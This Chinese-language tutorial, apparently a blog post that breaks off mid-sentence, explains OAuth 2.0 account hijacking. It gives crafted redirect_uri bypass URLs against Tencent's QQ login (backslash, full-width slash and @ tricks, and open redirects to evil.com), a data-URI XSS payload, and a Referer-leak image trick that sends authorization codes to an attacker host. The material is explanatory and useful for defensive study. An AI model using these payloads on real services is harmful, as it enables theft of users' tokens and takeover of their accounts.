初識OAuth

開放授權(OAuth)是一個開放標準,允許用戶讓第三方應用訪問該用戶在某一網站上存盤的私密的資源(如照片,視頻,聯系人串列),而無需將用戶名和密碼提供給第三方應用.目前廣泛使用的版本是OAuth 2.0.而OAuth2.0存在認證缺陷-即第三方帳號快捷登錄授權可能被劫持，

OAuth 2.0中有6種常用的授權型別:

• Authorization Code
• Implicit
• Password
• Client Credentials
• Device Code
• Refresh Token
• 目前大部分廠商使用Authorization Code(授權碼模式)

通過URL重定向獲取OAuth Token

redirect_uri過濾不嚴導致用戶敏感資訊泄露

重定向到我們自己的域名可以獲取access token

https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com

開放重定向獲取access token

https://www.example.com/oauth2/authorize?[...]&redirect_uri=https://accounts.qq.com/BackToAuthSubTarget?next=https://evil.com


https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F

騰訊OAuth平臺redirect_uri過濾不嚴一

1.測驗發現，如果一個應用的回呼域是www.a.com，授權平臺是允許其跳轉到以www.a.com為基域的其他子域的,比如sub.www.a.com(但是sub.a.com)是不行的.

2.騰訊授權平臺對于URL域的判斷沒有考慮一些瀏覽器的特性,比如在url中存在\時,大多數瀏覽器是會將其變為/. 因此,授權平臺認為www.b.com\.www.a.com 也是一個www.a.com的子域,而瀏覽器實際確是跳轉到www.baidu.com/.www.a.com 從而引起token/code的泄露.

http://openapi.qzone.qq.com/oauth/show?which=Login&display=pc&response_type=code&client_id=100263567&redirect_uri=http://www.baidu.com%5C.security.tencent.com/index.php/sign/qq_callback&scope=get_user_info,add_pic_t,add_t

跳轉到可控站點，泄漏code
http://www.baidu.com%5c.security.tencent.com/index.php/sign/qq_callback?code=B9671172B18275C408EE3ED**

利用泄漏的code即可直接劫持
http://security.tencent.com/index.php/sign/qq_callback?code=B9671172B18275C408EE3ED**

跳轉到可控站點，泄漏code

http://www.baidu.com%5c.security.tencent.com/index.php/sign/qq_callback?code=B9671172B18275C408EE3ED**

利用泄漏的code即可直接劫持

http://security.tencent.com/index.php/sign/qq_callback?code=B9671172B18275C408EE3ED**

騰訊OAuth平臺redirect_uri過濾不嚴二

http://openapi.qzone.qq.com/oauth/show?which=Login&display=pc&scope=get_user_info,get_info,add_t,add_pic_t,get_other_info,get_fanslist,get_idollist,add_idol,add_share&redirect_uri=http://pujun.li?@www.zhihu.com/oauth/auth/request_qqconn_token?next=%2Foauth%2Faccount_callback&response_type=code&client_id=100490701

騰訊OAuth平臺redirect_uri過濾不嚴三

騰訊OAuth平臺對redirect_uri校驗時, 未考慮一些奇怪的瀏覽器特性, 導致redirect_uri檢驗被繞過.

safari會對url中的full width字符自動轉化為常見的字符, 比如下面這個url:

http://ｗｗｗ．ｔｅｓｔ．ｃｏｍ

跳轉http://www.test.com

那么同樣的, 把/ # ?這類分割的字符 轉化為full width字符后, 雖然服務器認為這樣的字符已經不能分割了, 但在瀏覽器處理時, 依然進行了分割.

http://openapi.qzone.qq.com/oauth/show?which=Login&display=pc&response_type=code&client_id=100263567&redirect_uri=http://www.aaaa.com／.security.tencent.com/2.php&scope=get_user_info,add_pic_t,add_t

騰訊OAuth平臺redirect_uri過濾不嚴四

http://openapi.qzone.qq.com/oauth/show?which=ConfirmPage&display=pc&response_type=code&client_id=204566&redirect_uri=http%3A%2F%2Fapp.56.com\@pujun.li&state=048cf6b68d98606939f0287860c53235

通過重定向redirect_uri也可執行XSS

https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>

通過Refer獲取OAuth資訊

當可以注入html標簽但是由于各種過濾等情況無法XSS時候，我們可以利用oauth劫持

OAuth登錄場景

當以QQ在電腦上已經進行了登陸，所以我可以直接進行登陸，這時候以QQ登入A.com進行抓包截取整個流程 ，登入鏈接：

https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/auth/callback/homakov/8820324?code=CODE

得到如下兩個請求程序：

請求1：

POST /oauth2.0/authorize HTTP/1.1
Host:graph.qq.com

Response1:

HTTP/1.1 302 Moved Temporarily
Server:tws
Date:Fri,11 Oct 2018 12:40:42 GMT
Content-Type:0
Connection:keep-alive
Keep-Alive:time=50
Content-Encoding:gzip
Location:http:/a.com/?homakov/8820324?code=CODE

請求2：(生成授權碼code后攜帶授權碼請求a.com)

GET /homakov/8820324?code=CODE
Host:a.com

Response2:

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Connection: close
Set-Cookie: 用戶憑證
Location: https://www.a.com/
Cache-Control: max-age=0

此程序中經過了兩次跨域

graph.qq.com->用戶代理服務（tws Server）

tws Server->a.com

在OAuth2協議中有保護機制防止‘泄露的’重定向URI，每個code引數都簽發給對應的‘redirect_uri’，要獲得訪問令牌必須提供你在認證流程中使用的準確的redirect_uri，

基本上，泄露的Referer有兩個向量：用戶點擊一個鏈接（需要互動）或用戶代理載入一些跨站資源，比如<img> ,我不能簡單的注入（img src=http://attackersite.com），因為這會替換成camo-proxy URL，這樣就不能把Referer頭傳遞到攻擊者的主機，為了能夠繞過Camo-s 過濾器，這里有一個小技巧：<img src="///attackersite.com">

構造一個URL

https://xx.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/auth/callback/homakov/8820324&code

當用戶載入這個url時，網站會重定向自己

對應地址：
http://a.com/auth/callback/homakov/8820324?code=CODE

假設a.com為百度云，ref與重定向如下

但是用戶代理載入為：

http://a.com/homakov/8820324?code=CODE

那么用戶代理會把發送請求的CODE泄露給我們的<img>

http://a.com/homakov/8820324?code=fecbb6e8b4699053

一旦我們獲得受害者的CODE，我們點擊 ：

https://a.com/auth/github/callback?code=CODE

就可登錄進受害者賬號

先知大佬的一個案例

A.com代表目標A的域名來展示我是怎樣發現一個賬號劫持漏洞的，

打開A的QQ登陸鏈接后，我發現了一些奇妙的事，

如上圖，redirect_uri并沒有指向A.com，而是指向了B.com，將引數URL解碼，

如上 這里涉及到2次跨域登陸：

1. redirect_uri: qq.com => B.com
2. s_url: B.com => A.com

QQ已經對redirect_uri引數做了強校驗，要想劫持到B.com的登陸賬號已經不太可能，所以，我的目標放在了s_url這個引數上，

簡單分析一下登陸流程就能發現s_url是如何作業的，

(a) 首先，用戶使用QQ賬號登陸到B.com；

(b) 然后B.com發送如下請求，獲取token，并引導用戶攜帶token跳轉到A.com；

(c) A.com驗證token是合法的，則種下cookie，

至此，用戶成功登陸到A.com，

從整個登陸流程來看，只要我們能想辦法竊取到token，就能劫持用戶的登陸賬號，

我的目標是竊取到token，最直接的辦法當然是修改引數s_url，讓用戶攜帶token跳轉到惡意域名，從而泄露token，

一番測驗后，我發現s_url的校驗也很嚴格，即使在路徑后面附加一些字符，生成的跳轉鏈接中都不會攜帶token，

經過一些fuzz后，我發現我似乎能在最后一個字符后面附加一些符號，

我可以在s_url的結尾附加3種符號，而不影響token的生成，分別是:

眾所周知，URL中的# 將被瀏覽器視作錨點，其后的資料不會發送到服務器，

當用戶跳轉到這個地址，自然會無法認證成功，并停留在Login頁面，

此時token也將出現在URL中，

至此，我們已經在竊取token的道路上邁出了重要的一步，

那么，如何獲取到URL中的token？

如果我們能找到一個XSS，就能獲取